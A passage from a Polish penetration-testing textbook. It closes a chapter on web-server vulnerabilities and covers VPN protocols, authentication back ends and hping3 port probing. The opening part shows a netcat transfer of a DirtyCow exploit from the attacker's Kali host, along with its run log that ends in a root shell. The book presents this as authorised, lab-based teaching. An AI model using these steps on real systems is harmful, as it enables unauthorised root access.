na podniesienie uprawnień. Przejdź zatem do tego katalogu (polecenie cd /tmp), a następnie połącz
się z programem Netcat nasłuchującym w systemie Kali Linux, używając do tego polecenia nc
<AdresIPKaliLinux> 443 > cowroot32. Zwróć uwagę, że tutaj znów używamy znaku przekierowa-
nia, choć tym razem jest on skierowany w drugą stronę.
Dane z programu Netcat zostają skierowane do pliku o nazwie cowroot32 (w tym miejscu mo-
żesz użyć dowolnej innej nazwy). Jakie to dane uzyskamy z programu Netcat? Zakładając, że wcze-
śniej odpowiednio przygotowaliśmy nasłuchujący program Netcat i teraz pasują również numery
portów, a między systemami nie ma żadnych zapór sieciowych, to w atakowanym systemie znajdzie
się przygotowany wcześniej plik cowroot32. Drobnym problemem związanym z tą metodą przesy-
łania pliku jest to, że nie ma tu żadnego paska postępu, który poinformowałby nas o zakończeniu
przesyłania danych. Trzeba zatem poczekać kilka sekund, w ciągu których przesyłanie powinno
zostać ukończone, po czym możesz zamknąć program Netcat, naciskając klawisze Ctrl+C w syste-
mie Kali Linux. Naciśnięcie tych klawiszy w zdalnym systemie może spowodować przerwanie po-
łączenia z powłoką. Można też użyć działającego w tle programu Wireshark, aby w ten sposób mo-
nitorować proces przesyłania danych. Inną możliwością jest proste porównywanie wielkości obu
plików. Jeżeli będą identyczne, to znaczy, że przesyłanie zostało zakończone. (W tym miejscu można
też wykonać test spójności pliku, używając na przykład polecenia sha512sum). Istnieje wiele wersji
programu Netcat, a niektóre z nich udostępniają rozszerzenia zajmujące się szyfrowaniem lub
kompresją przesyłanych plików, jak również sprawdzaniem ich spójności po przesłaniu. Istnieją
też wersje zawierające błąd przepełnienia bufora związany z użyciem opcji -e. Jeden z pierwszych
exploitów napisanych przez autora tej książki był związany z programem Netcat dla systemów
Windows i charakteryzował się takim właśnie błędem. Sam exploit jest nadal dostępny pod tym
adresem: https://github.com/hackerhouse-opensource/exploits/blob/master/w32-netcat.tgz.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 265

W całej książce, gdy mówimy o programie Netcat, mamy na myśli wersję przeznaczoną dla
systemu GNU Linux. Istnieje też popularna alternatywa dla tej wersji w postaci wariantu BSD. Uży-
wając tego wariantu programu w systemach innych niż GNU/Linux, możesz zauważyć, że składnia
poleceń została w nim nieco zmieniona.
Po umieszczeniu pliku w katalogu /tmp w zdalnym systemie musisz jeszcze zmienić ten plik
w plik wykonywalny. Aby zmienić uprawnienia użytkownika www-data tak, żeby ten mógł uru-
chomić ten plik, należy użyć polecenia chmod +x cowroot32. Od teraz możesz uruchomić ten plik,
wpisując w wierszu poleceń ./cowroot32. Jeżeli exploit zadziała poprawnie, to uzyskasz dostęp do
konta użytkownika root.
W przypadku systemów należących do innych osób (na przykład do klienta) zawsze należy sta-
rać się, żeby przywrócić je do stanu, jaki miały przed naszym hakowaniem. Dobrze jest udokumen-
tować metodę użytą do włamania, zrobić zrzuty ekranu lub zapisać dane z terminala, aby później
móc umieścić je w raporcie dla klienta. Jeżeli uda się uzyskać dostęp do konta użytkownika root,
to przywrócenie systemu do stanu pierwotnego jest tym bardziej czymś, co po prostu trzeba zrobić.
Skoro masz już dostęp administratorski do systemu, to można założyć, że exploit zadziałał zgodnie
z oczekiwaniami. W takim przypadku należy od razu odtworzyć oryginalną postać pliku passwd w zaa-
takowanym systemie. Oto przykład, jak może wyglądać atak (razem z późniejszym sprzątaniem):
www-data@webserver01:/tmp$ ./cowroot32
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 34740
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@webserver01:/tmp# id
uid=0(root) gid=33(www-data) groups=0(root),33(www-data)
root@webserver01:/tmp# mv /tmp/bak /usr/bin/passwd
root@webserver01:/tmp# chmod 4755 /usr/bin/passwd
root@webserver01:/tmp#

Podsumowanie
W tym rozdziale poznaliśmy kolejny ważny protokół — HTTP (Hypertext Transfer Protocol).
Zaprezentowaliśmy kilka jego dziwnych i interesujących funkcji. Nie zagłębiając się zbytnio w kon-
kretne aplikacje sieciowe, przeanalizowaliśmy kilka sposobów umożliwiających włamanie się
na serwer WWW. Musisz mieć świadomość tego, że istnieją różne rodzaje oprogramowania
serwera WWW, które działają na bazie określonego systemu operacyjnego. Taki serwer może
udostępniać obsługę skryptów działających po stronie serwera, a dodatkowo z takim serwerem
zapewne komunikuje się jeszcze serwer baz danych. Każda z tych technologii może zawierać
różne ciekawe podatności.

3681988c430c7fe1e8567c4e2f281f7b
3
266 Rozdział 7  Sieć WWW pełna podatności

Skupiliśmy się na narzędziach działających w wierszu poleceń i dokładniej zbadaliśmy możli-

wości tak prostego narzędzia jak Netcat. Widzieliśmy też narzędzia, które można wykorzystać do
szybszego poznania tajników wybranego serwera i znalezienia w nim różnych podatności. Pozna-
liśmy niesławny błąd Shellshock umożliwiający wstrzykiwanie poleceń i ponownie przyjrzeliśmy
się podatności Heartbleed. Pamiętaj, że wyniki użytych automatycznych technik i narzędzi zawsze
muszą być potwierdzane za pomocą ręcznych testów.
Protokoły SSL i TLS odgrywają ważną rolę w sieci WWW, ale i im nie wolno ślepo ufać, dlatego
tak ważne jest ciągłe sprawdzanie, czy implementacja tych protokołów jest aktualna i wolna od
znanych podatności. Poznaliśmy też metodę lokalnego podnoszenia uprawnień. Ta technika przy-
daje się w dowolnym systemie, do którego uda się uzyskać dostęp z uprawnieniami nieuprzywile-
jowanego użytkownika. W tym przypadku nasza praca sprowadzała się do uruchomienia gotowego
exploitu wykorzystującego błąd w jądrze systemu operacyjnego, co nie zawsze jest najlepszym roz-
wiązaniem. W następnych rozdziałach poznamy inne, bezpieczniejsze metody uzyskiwania upraw-
nień użytkownika root, wykorzystując do tego typowe błędy w konfiguracji.
Temat aplikacji sieciowych (takich jak sklepy internetowe, fora, aplikacje bankowe lub serwisy
do dzielenia się zdjęciami) oraz metod włamywania się do nich zostanie omówiony w rozdziale 12.
Przyjrzymy się w nim różnym błędom opisywanym w zestawieniu OWASP Top 10 (Open Web
Application Security Project). Wśród nich są takie pozycje jak ataki wstrzykiwania instrukcji SQL
albo ataki XSS (cross-site scripting).

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

8
Wirtualne sieci prywatne

Bardzo prawdopodobne jest, że serwer VPN (Virtual Private Network — wirtualna sieć prywatna),
czyli brama umożliwiająca pracownikom zdalnym pracę w wewnętrznej sieci organizacji, również
zostanie ujęty w zakres prac uzgodnionych z klientem. Idealnie byłoby, gdyby ten serwer stanowił
część świetnie chronionej, zewnętrznej infrastruktury prowadzonej przez klienta. Jeżeli złośliwy
haker będzie w stanie uzyskać dostęp do takiego serwera, to może w ten sposób otrzymać darmowy
dostęp do ogromnej liczby wewnętrznych systemów organizacji. W tym rozdziale przyjrzymy się
typowym rodzajom technologii VPN: bezpiecznemu protokołowi IPsec (Internet Protocol Security)
połączonemu z mechanizmem wymiany kluczy IKE (Internet Key Exchange) oraz sieciom prywat-
nym chronionym protokołem SSL (OpenVPN).

Czym jest sieć VPN?

Rozproszone firmy i organizacje działające w wielu różnych regionach geograficznych muszą łączyć
sieci poszczególnych biur w jedną wielką sieć. Jedną z metod łączenia takich sieci jest wykorzysty-
wanie łączy dzierżawionych, czyli dedykowanych linii łączących poszczególne lokalizacje biur,
które można dzierżawić firmom telekomunikacyjnym. Niestety koszt takich linii jest nieosiągalny
dla ogromnej większości organizacji.
Alternatywą dla utworzenia fizycznych sieci jest wykorzystywanie tak zwanych sieci wirtual-
nych. Oznacza to, że firmy mogą skorzystać z infrastruktury istniejącej już na potrzeby publicznego
internetu. Jednym z problemów związanych z takim rozwiązaniem jest to, że w przeciwieństwie do
dedykowanych linii lub sieci wewnętrznych taka infrastruktura jest współużytkowana przez inne
osoby i firmy, a przez to jest podatna na zatory i inne problemy z przesyłaniem danych.

267

3681988c430c7fe1e8567c4e2f281f7b
3
268 Rozdział 8  Wirtualne sieci prywatne

Znacznie większym problemem jest jednak bezpieczeństwo. W idealnym przypadku całość in-
formacji przesyłanych pomiędzy różnymi lokalizacjami organizacji jest całkowicie odizolowana,
tak jakby ta organizacja korzystała z własnych, dedykowanych kanałów komunikacyjnych. Taką
sytuację można osiągnąć poprzez szyfrowanie całości ruchu sieciowego pomiędzy lokalizacjami.
Sieć VPN (wirtualna sieć prywatna) działa podobnie do sieci lokalnej, choć może się rozciągać na
znacznie większe odległości. W tym przypadku nośnikiem danych jest internet, który jest wyko-
rzystywany również przez innych.
Z sieci VPN korzystają również osoby prywatne, chcące w ten sposób uniknąć podsłuchiwania
i monitorowania przez swojego dostawcę internetu, jak również uzyskać wyższy poziom anonimo-
wości i prywatności w czasie korzystania ze stron i usług sieciowych.
Sieć VPN jest realizowana za pomocą wirtualnych urządzeń sieciowych działających po stronie
klienta i serwera. Gdy aplikacja działająca po stronie klienta, na przykład przeglądarka lub program
pocztowy, zechce uzyskać dostęp do zasobów poprzez wirtualne urządzenie sieciowe, to każdy pa-
kiet danych (który może być już zaszyfrowany przez protokół TSL) przed wysłaniem zostanie za-
szyfrowany przez oprogramowanie VPN działające w tym systemie. Z drugiej strony każdy pakiet
odebrany przez serwer zostanie przez niego rozszyfrowany. Oprócz szyfrowania wszystkich pakie-
tów oprogramowanie VPN dokonuje też kontroli spójności danych, aby chronić je przez zmia-
nami, jakie mogą się pojawić, gdy dane są przesyłane przez publiczną sieć.
W poprzednim rozdziale przyjrzeliśmy się dokładnie protokołowi HTTP, który jest używany
przez niemal wszystkie aplikacje i witryny sieciowe. W przeciwieństwie do tej sytuacji podczas im-
plementowania rozwiązania VPN można wybierać spośród kilku dostępnych protokołów. Co wię-
cej, zwykle jeden z protokołów jest używany do rzeczywistego przesyłania danych, a inny do wy-
miany informacji na temat połączenia VPN pomiędzy klientem i hostem. Na przykład pakiet
OpenVPN wykorzystuje swój własny protokół (również nazywany OpenVPN), za pomocą którego
szyfruje i przesyła dane, ale do wymiany kluczy szyfrujących używa już protokołu TLS. Te klucze
są z kolei stosowane do szyfrowania danych przesyłanych przez główne połączenie. Poniżej pre-
zentujemy listę często stosowanych protokołów VPN:
 OpenVPN,
 Layer 2 Tunneling Protocol (L2TP) razem z IPsec,
 Secure Socket Tunneling Protocol (SSTP),
 IKE razem z IPsec,
 Point-to-Point Tunneling Protocol (PPTP).
Nie wszystkie rozwiązania VPN zbudowane są z pojedynczego protokołu i jednego elementu
programowego. Na przykład rozwiązania L2TP nie zajmują się szyfrowaniem pakietów z przesyła-
nymi danymi. W tym zakresie korzysta się tu z osobnych protokołów, takich jak IPsec. Rozwiązanie
OpenVPN ma własne metody szyfrowania danych, ale do wymiany kluczy używa protokołu TLS.
Do szyfrowania danych używane są klucze uzgodnione za pomocą tego protokołu.
Protokół SSTP może zostać wykorzystany jako element szyfrujący dla protokołu PPP (Point-to-
-Point Protocol). Protokół PPP jest zwykle używany przez dostawców internetu do obsługi klientów
łączących się poprzez łącza telefoniczne. Protokół SSTP dodaje szyfrowanie danych do protokołu
PPP, używając przy tym protokołu TLS. Protokół PPTP należy do protokołów starszych i mniej
bezpiecznych dla sieci VPN, jednak nadal jest wykorzystywany przez niektóre firmy. Tego proto-
kołu nie należy używać do przesyłania jakichkolwiek ważnych danych!

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół IPsec 269

Technika IKE (Internet Key Exchange — wymiana kluczy w internecie) jest metodą wymiany
materiałów bezpieczeństwa, które umożliwiają utworzenie zabezpieczonego tunelu. Zazwyczaj jest
ona używana w połączeniu z protokołem IPsec, który zajmuje się szyfrowaniem danych.

Protokół IPsec
Protokół IPsec działa w warstwie sieci modelu OSI. Uzupełnia on niezabezpieczony protokół IP
o funkcje uwierzytelniania i szyfrowania. Tak naprawdę nie jest to jeden protokół, ale cały ich zbiór.
IPsec szyfruje każdy wysyłany pakiet danych, ukrywając zawartość tych pakietów przed osobami,
które chciałyby je przechwycić. Kontrolowana jest również spójność wszystkich pakietów, dzięki
czemu nawet jeżeli atakującemu udałoby się zmienić zawartość pakietów, to zostałoby to natych-
miast wykryte. Do ustanowienia bezpiecznego kanału komunikacji (nazywanego też tunelem
lub bezpiecznym tunelem) za pomocą protokołu IPsec konieczna jest wstępna wymiana informacji
zabezpieczających pomiędzy klientem a serwerem. Nie można po prostu zaszyfrować pakietów
i oczekiwać, że zostaną one odszyfrowane przez odbierającego je hosta. Przed wysłaniem właściwych
danych obie strony muszą uzgodnić pewne opcje i atrybuty. Uzgodnienie wspólnych informacji
(tajnych) pomiędzy dwoma węzłami w sieci nazywane jest też skojarzeniem zabezpieczeń (ang.
security association — SA). W wyniku tego działania dwa węzły w sieci stają się ze sobą skojarzone.
Protokół ISAKMP (Internet Security Association and Key Management Protocol) definiuje to, jakie
materiały mają zostać wymienione między węzłami, ale nie określa, w jaki sposób ma zostać doko-
nana wymiana. Samą wymianą informacji zajmuje się protokół IKE. Protokół IKE nie jest jedynym
sposobem wykonania skojarzenia zabezpieczeń, ale jest sposobem najczęściej wykorzystywanym
w połączeniu z protokołem IPsec.

Protokół IKE
Protokół IKE (Internet Key Exchange) może być stosowany w sieciach VPN używających protokołu
IPsec do przeprowadzenia wymiany informacji niezbędnych do ustanowienia bezpiecznego połą-
czenia. Dokładny opis tego protokołu można znaleźć w dokumentach RFC 2407, 2408 i 2409.
W zależności od wersji mówi się tu o protokołach IKE, IKEv1 i IKEv2. Aby protokół IPsec mógł
ustanowić bezpieczny tunel, trzeba najpierw wymienić pewne informacje zabezpieczające, które
później zostaną użyte do szyfrowania i sprawdzania spójności przesyłanych danych. W ramach
przygotowania do tworzenia bezpiecznego tunelu IPsec protokół IKE musi zająć się wymianą na-
stępujących informacji:
 Algorytm haszujący używany do sprawdzania spójności danych. Może być to algorytm
SHA1 (Secure Hash Algorithm Version 1).
 Metoda uwierzytelniania. Na przykład PSK (Pre-Shared Key).
 Algorytm szyfrujący, taki jak 3DES (Triple DES), znany też pod nazwą Triple Data
Encryption Algorithm (TDEA).
 Grupa Diffiego-Hellmana, która definiuje tajne klucze używane do szyfrowania danych.

3681988c430c7fe1e8567c4e2f281f7b
3
270 Rozdział 8  Wirtualne sieci prywatne

Diffie-Hellman to metoda wymiany wspólnych tajnych informacji pomiędzy dwoma

hostami, które są połączone niezabezpieczoną siecią, taką jak internet. Nazwa pochodzi od
nazwisk Whitefielda Diffiego i Martina Hellmana, którzy opublikowali szczegóły tej metody
już w 1976 roku. W rozwoju tego systemu uczestniczył również Ralph Merkle. Opisana przez
nich metoda jest używana w takich technologiach jak IKE i TLS. Grupa Diffiego-Hellmana
w protokole IKE opisuje siłę używanego klucza szyfrującego. Grupa 1 korzysta z klucza o wiel-
kości 768 bitów, natomiast grupa 2 używa klucza o wielkości 1024 bitów. Im wyższa grupa,
tym silniejszy jest klucz. Z jednej strony metoda PSK jest używana do uwierzytelniania, ale
z drugiej do szyfrowania ruchu sieciowego jest używany zupełnie inny klucz. W tym przy-
padku używane są klucze wymienione za pomocą metody Diffiego-Hellmana.

We wszystkich pakietach wysyłanych za pomocą protokołu IPsec kontrolowana jest też spójność,
dzięki czemu mamy pewność, że pakiety nie były modyfikowane w trakcie ich przesyłania. Taka kon-
trola spójności jest bardzo podobna do sprawdzania spójności pobranych plików przed ich urucho-
mieniem, o czym mówiliśmy już w rozdziale 3. Jeżeli sprawdzaniem spójności danych ma się zaj-
mować zarówno serwer, jak i klient, to muszą one stosować ten sam algorytm haszujący. W związku
z tym definicja takiego algorytmu jest podawana jako część skojarzenia zabezpieczeń.
Metoda PSK jest używana do uwierzytelniania użytkownika, natomiast algorytm szyfrujący
opisuje sposób, w jaki dane mają być szyfrowane przed wysłaniem. Klucze używane przez metodę
PSK do uwierzytelniania użytkowników chcących się połączyć z siecią VPN nie są jednak wyko-
rzystywane do szyfrowania danych przesyłanych w ramach sieci. Klucze szyfrujące są wymieniane
pomiędzy węzłami sieci za pomocą metody Diffiego-Hellmana. Grupa Diffiego-Hellmana jest tu
używana do wyznaczenia parametrów tych kluczy. Gdy dwa hosty uwierzytelniły się wzajemnie
i wynegocjowały skojarzenie zabezpieczeń, to mogą przystąpić do przesyłania między sobą danych.
Domyślnie demony ISAKMP nasłuchują na porcie UDP 500, przez który realizowana jest metoda
IKE. Jeżeli skanując porty UDP takiego serwera, zobaczysz, że ten port jest otwarty, to możesz mieć
pewność, że masz do czynienia z serwerem VPN. Ze starszymi wersjami metody IKE związane są
pewne problemy, których wykorzystanie umożliwia uzyskanie dostępu do sieci VPN.

Protokół TLS i sieci VPN

Protokół TLS jest używany do szyfrowania ruchu sieciowego również w sieci WWW, o czym mó-
wiliśmy w rozdziale 6. „Poczta elektroniczna” oraz w rozdziale 7. „Sieć WWW pełna podatności”.
Tego protokołu można też użyć do zabezpieczenia dowolnego innego portu sieciowego, ponieważ
działa on na zasadzie opakowywania właściwej usługi. Ten sposób działania używany jest przez
niektóre implementacje sieci VPN, takie jak Cisco ASA lub OpenVPN. W przeciwieństwie do pro-
tokołu IPsec, który realizuje szyfrowanie w warstwie sieci, protokół TLS (jak sugeruje jego nazwa)
działa w warstwie transportowej (lub w warstwie aplikacji) modelu OSI, która znajduje się o jeden
poziom wyżej niż warstwa sieci.
Gdy myślimy o ruchu sieciowym związanym ze stronami WWW albo pocztą elektroniczną,
który jest szyfrowany za pomocą protokołu TLS, to zakładamy, że jednocześnie używany jest pro-
tokół TCP. Istnieje też protokół DTLS (Datagram Transport Layer Security), który działa niemal
identycznie jak protokół TLS, ale umożliwia szyfrowanie pakietów UDP. Pozwala on uniknąć

3681988c430c7fe1e8567c4e2f281f7b
3
Bazy danych i uwierzytelnianie użytkowników 271

problemów z opóźnieniami, dlatego jest używany w rozwiązaniach OpenVPN do obsługi ruchu

UDP na porcie 1194. OpenVPN używa własnej metody szyfrowania ruchu sieciowego, ale protokół
TLS jest używany do szyfrowania przesyłanych danych. Innymi słowy, protokół TLS służy co wy-
miany kluczy szyfrujących, które z kolei są używane do szyfrowania ruchu sieciowego.

Bazy danych i uwierzytelnianie użytkowników

Już wcześniej mówiliśmy o bazach danych i uwierzytelnianiu użytkowników, ale jeszcze nie anali-
zowaliśmy systemu, w którym łączą się te dwa elementy. Ich złączenie umożliwia wytworzenie nie-
zwykle ważnej funkcji bezpieczeństwa. Jeżeli chcesz się zalogować do własnej sieci VPN albo
do sieci swojej organizacji, to musisz podać swoje dane uwierzytelniające składające się na przykład
z nazwy użytkownika i jego hasła. Te same dane muszą być też przechowywane przez organizację,
aby możliwe było ich porównywanie.
Podczas próby zalogowania się do sieci VPN za pomocą metod siłowych, czyli zgadywania hasła
lub używania kombinacji znaków specjalnych, trzeba pamiętać, że system wykonuje w tle określone
zapytanie. Podane przez użytkownika dane uwierzytelniające są przesyłane do składnicy danych,
dlatego to ten system musi stać się celem naszych ataków, na równi z frontowym systemem sieci
VPN. W kolejnych punktach opiszemy kilka najpopularniejszych systemów używanych do uwie-
rzytelniania użytkowników.

Baza danych SQL

Jedną z metod przechowywania i sprawdzania poprawności danych uwierzytelniających jest baza
danych SQL, taka jak MySQL lub MariaSQL. W procesie uwierzytelniania serwer VPN wysyła za-
pytania do takiej bazy danych (która zwykle znajduje się na innym serwerze), używając do tego języka
SQL. Każda podatność istniejąca w systemie bazy danych może zostać zatem wykorzystana poprzez
serwer VPN realizujący proces uwierzytelniania.

RADIUS
Drugą opcją przy uwierzytelnianiu użytkowników sieci VPN jest użycie protokołu RADIUS (Remote
Authentication Dial-In User Service), który został zaprojektowany do obsługiwania centralnego
uwierzytelniania użytkowników. Ta metoda jest często używana przez dostawców internetu do
uwierzytelniania użytkowników próbujących się podłączyć do internetu z domu lub z pracy.

LDAP
Następną opcją jest protokół LDAP (Lightweight Directory Access Protocol). Jest on protokołem
o otwartych źródłach i jest używany do zarządzania katalogiem (w istocie jest on bazą danych)
z danymi użytkowników, w którym każdy może przejrzeć informacje dotyczące wybranego użyt-
kownika. Pamiętaj, że ten rodzaj katalogu różni się od katalogów istniejących w systemie plików,
które mają przechowywać pliki. Protokół LDAP nie pozwala na dostęp do katalogów w systemie

3681988c430c7fe1e8567c4e2f281f7b
3
272 Rozdział 8  Wirtualne sieci prywatne

plików, ale umożliwia dostęp do informacji. Bardzo często można spotkać sytuację, w której różne
aplikacje łączą się z serwerem LDAP w celu centralnego uwierzytelnienia użytkowników. Na przy-
kład z jednego centralnego serwera LDAP może korzystać jednocześnie aplikacja sieciowa, serwer
pocztowy oraz serwer VPN. Wszystkie one mogą uwierzytelniać użytkowników na serwerze LDAP,
podając mu odpowiedni zbiór danych uwierzytelniających.

PAM
Serwery PAM (Pluggable Authentication Modules) są często używane w systemach linuksowych
podczas uwierzytelniania użytkowników w systemie, ale również przy okazji używania polecenia
sudo. Serwery tego typu udostępniają interfejs wysokiego poziomu, ułatwiający realizację zadań
związanych z uwierzytelnianiem, które mogą być uzależnione od współpracy wielu różnych pro-
gramów. Rozwiązania PAM mogą być też używane do uwierzytelniania użytkowników łączących
się z siecią VPN. To rozwiązanie polega na tym, że nazwa użytkownika i hasło są sprawdzane wzglę-
dem danych uwierzytelniających zapisanych w systemie operacyjnym, a konkretnie w należącym
do niego pliku /etc/shadow.

TACACS+
TACACS+ jest protokołem zaprojektowanym przez firmę Cisco, który bazuje na grupie protoko-
łów TACACS (Terminal Access Controller Access-Control System) pochodzących z lat 80. XX wieku,
używanych wtedy w sieciach uniksowych. Protokoły TACACS zostały zdefiniowane w dokumencie
RFC 1492 opublikowanym w 1993 roku, choć nie jest to ich pierwotna specyfikacja. Według autora
dokumentu RFC uzyskanie tej dokumentacji jest niezwykle trudne i właśnie dlatego powstał ten
dokument RFC. Protokoły TACACS były używane w sieci ARPANET, gdzie sterowały dostępem
do sieci uzyskiwanym przez linie telefoniczne (tak, chodzi tu o konieczność wybrania numeru te-
lefonu i używania modemów łączących różne systemy) i dzisiaj są już praktycznie niestosowane.
Protokół TACACS+ nie ma własnego dokumentu RFC, ale istnieje inny dokument (a właściwie
cały czas poprawiany szkic dokumentu tworzony przez organizację IETF [Internet Engineering
Task Force]) opisujący działanie tego protokołu. Tę specyfikację można przejrzeć pod adresem
https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-18. Protokół TACACS+ jest używany do dzisiaj
i podobnie jak RADIUS zajmuje się scentralizowanym uwierzytelnianiem, autoryzacją i księgowa-
niem działań użytkowników.

Agencja NSA i sieci VPN

Organizacją, która mogłaby nas wiele nauczyć na temat hakowania sieci VPN, jest amerykańska
agencja NSA (National Security Agency). W 2016 roku grupa Shadow Brokers ujawniła kilka na-
rzędzi używanych przez tę agencję. Jeżeli nie znasz jeszcze tej grupy hakerów, to przejrzyj artykuł
dostępny na stronie https://blogs.cisco.com/security/shadow-brokers. Jedno z narzędzi używanych
przez NSA otrzymało nazwę BENIGNCERTAIN. Umożliwia ono zbieranie informacji z pewnych
urządzeń zabezpieczających (Adaptive Security Appliances — ASA) firmy Cisco, które używają pro-
tokołu IKEv1.

3681988c430c7fe1e8567c4e2f281f7b
3
Narzędzia hakera do pracy z sieciami VPN 273

Z kolei narzędzie o nazwie EXTRABACON wykorzystuje exploit umożliwiający zdalne wyko-

nanie kodu na urządzeniach ASA firmy Cisco, używając do tego protokołu SNMP (Simple Network
Management Protocol). SNMP jest protokołem używanym do monitorowania hostów podłączo-
nych do sieci i zarządzania nimi. Jak można się domyślać, narzędzia i exploity przygotowane przez
agencję NSA, czyli przez organizację o naprawdę sporych zasobach, są rozwiązaniami o wysokiej
jakości, które działają niezwykle skutecznie. Jeżeli przyjrzeć się wszystkim ujawnionym narzędziom
i informacjom (na przykład w dokumentach ujawnionych przez gazetę Der Spiegel), to okaże się, że
w USA bardzo wiele czasu i wysiłków poświęcono hakowaniu sieci VPN. Ujawnione exploity wy-
łączają konieczność podawania hasła podczas uwierzytelniania użytkownika w danym urządzeniu.

Narzędzia hakera do pracy z sieciami VPN

Oprócz narzędzi, jakie do tej porty przedstawiliśmy, istnieją też narzędzia specjalizowane, przezna-
czone do hakowania sieci i serwerów VPN. Oto kilka przykładów takich narzędzi:
Narzędzia protokołu IPsec — są używane do tworzenia tuneli IPsec (na przykład Racoon).
IKE-scan — narzędzie do sondowania serwerów IKE.
PSK-crack — narzędzie do łamania kluczy PSK używanych w rozwiązaniach IKE.
OpenSSL — narzędzie typu klient-serwer przeznaczone do negocjacji połączeń SSL i TLS.
Klienty VPN — aplikacje używane przez zwykłych użytkowników do łączenia się z sieciami
VPN. Przykładem może być klient OpenVPN uruchamiany z wiersza poleceń.

Metody hakowania sieci VPN

Jak dotąd jedynie skanowaliśmy interesujące nas serwery i używaliśmy różnych narzędzi, aby uzy-
skać cenne informacje. Następnie poszukiwaliśmy exploitów, których można by użyć, aby wyko-
rzystać znane podatności. Podczas hakowania sieci VPN trzeba jednak zastosować nieco inną tak-
tykę. Oto kilka podstawowych kroków, jakie trzeba tu wykonać:
1. Wykryj, jaka technologia VPN jest używana w danej sieci. Czy ta sieć używa protokołu
IPsec, czy raczej TLS lub może OpenVPN?
2. Ustanów wstępne połączenie z serwerem. Wykryj, jakie metody uwierzytelniania stosuje
dana sieć i w jaki sposób szyfruje dane.
3. Spróbuj ustanowić połączenie z serwerem i sprawdź, jakie informacje uda się w ten sposób
uzyskać. Na tym etapie możesz próbować zalogować się tak, jak zrobiłby to normalny
użytkownik.
4. Użyj uzyskanych wcześniej informacji, żeby znaleźć podatności warte wykorzystania.
Nawet jeżeli uda Ci się znaleźć sposób uwierzytelnienia się w sieci VPN tak, jak zrobiłby to
pracownik firmy lub zwykły użytkownik, albo jeżeli udałoby Ci się całkowicie pominąć proces
uwierzytelniania, to i tak czeka Cię jeszcze sporo pracy. Do całkowitego przejęcia serwera VPN
trzeba znaleźć w nim oprogramowanie z podatnością lub inne błędy bezpieczeństwa, podobne

3681988c430c7fe1e8567c4e2f281f7b
3
274 Rozdział 8  Wirtualne sieci prywatne

do tych, które prezentowaliśmy już wcześniej. Poza tym może być konieczne przebicie się przez
inne systemy uwierzytelniające (albo ich obejście). Chodzi tu na przykład o stronę WWW, która
ogranicza dostęp do zewnętrznych sieci, albo o specjalną stronę dla zaufanych partnerów. Czasem
istnieje też możliwość uzyskania bezpośredniego dostępu do sieciowego interfejsu administracyj-
nego serwera lub urządzenia VPN.

Skanowanie portów serwera VPN

Każdy rekonesans serwera należy rozpocząć od standardowego procesu polegającego na wykona-
niu kilku skanów portów. Musisz się upewnić, że skanowanie obejmuje również porty UDP, a nie
ogranicza się jedynie do portów TCP, ponieważ wiele serwisów VPN chętnie korzysta z protokołu
UDP. Oczekując na zakończenie skanowania, możesz użyć przeglądarki, aby sprawdzić działanie
typowych portów, na przykład portów usług WWW (80 i 443). Zwykle serwery VPN udostępniają
interfejs sieci WWW umożliwiający pobranie niezbędnego oprogramowania (klienta VPN), aby
ułatwić użytkownikom podłączanie się do sieci. W tym pierwszym, prostym kroku można też łatwo
zidentyfikować rodzaj technologii VPN używanej przez dany serwer. Zalecamy też używanie labo-
ratorium naszej książki i wykonywanie kolejnych ćwiczeń z tego rozdziału.

Gdy natkniesz się na serwis WWW, musisz go obsługiwać za pomocą technik

opisywanych w rozdziale 7. Podobnie jeżeli zauważysz, że na sprawdzanym serwerze obok
serwisu VPN działa również serwis DNS lub pocztowy, to również wobec nich musisz stoso-
wać odpowiednie dla nich metody. Bardzo często błędy istniejące w jednej z usług poma-
gają znaleźć podatności w innej usłudze tego samego serwera.

Hping3
Przyjrzyjmy się pokrótce programowi Hping3. Za pomocą tego narzędzia można wysyłać specjalne
pakiety TCP/IP. Sposób użycia tego programu można poznać po wpisaniu polecenia hping3 --help
lub na stronie podręcznika (man hping3). Jedna z prostszych metod używania tego programu ma
postać poniższego polecenia:
hping3 -S -p 53 <AdresIP>

To polecenie zacznie wysyłać pakiety z ustawioną flagą SYN, kierując je na port TCP 53. Nazwa
flagi SYN pochodzi od słowa synchronizacja, a jej ustawienie jest sygnałem dla odbiorcy, że chcesz
ustanowić połączenie TCP. To pierwszy z trzech kroków w procesie ustanawiania połączenia.
Przesyłane w tym procesie pakiety nie zawierają żadnych danych, a jedynie nagłówek. To kolejny
moment, w którym można wykorzystać program Wireshark do przejrzenia zawartości pakietów
przesyłanych przez sieć.

Program Hping3 pozwala na szeroką kontrolę nad składem pakietów, dlatego

należy skorzystać z dostępnych tu funkcji. Na przykład można użyć ich do wykonania ataku
DoS albo do przeprowadzenia zaawansowanego skanu portów. To świetne narzędzie do
sondowania zapór sieciowych i analizowania usług.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów serwera VPN 275

Sondowanie jednego portu polega na wysłaniu do niego pakietu SYN, tak jak robi to program
Nmap uruchomiony z opcją -sS. Pakiety, jakie zostaną przysłane w odpowiedzi, informują, czy
port jest otwarty, czy też nie. Spróbuj użyć poniższego polecenia:
hping3 --udp -p 500 <AdresIP>

W ten sposób wyślesz pakiety UDP na port 500, który jest domyślnie używany przez usługę IKE.
Jeżeli poczekasz teraz kilka sekund przed naciśnięciem klawiszy Ctrl+C w celu zamknięcia procesu,
to na ekranie zobaczysz informacje podobne do poniższych (wyniki zwykle są wyświetlane dopiero
po zatrzymaniu procesu):
HPING 192.168.56.102 (eth1 192.168.56.102): udp mode set, 28 headers + 0 data bytes
^C
--- 192.168.56.102 hping statistic ---
24 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

W tym przypadku z maszyny wirtualnej Kali Linux zostały wysłane 24 pakiety skierowane do
hosta o adresie 192.168.48.102. Na żaden z tych pakietów nie pojawiła się odpowiedź. Co można
z tego wywnioskować?
Spróbujmy teraz innego przykładu. Tym razem użyj programu Hping3 do sondowania portu
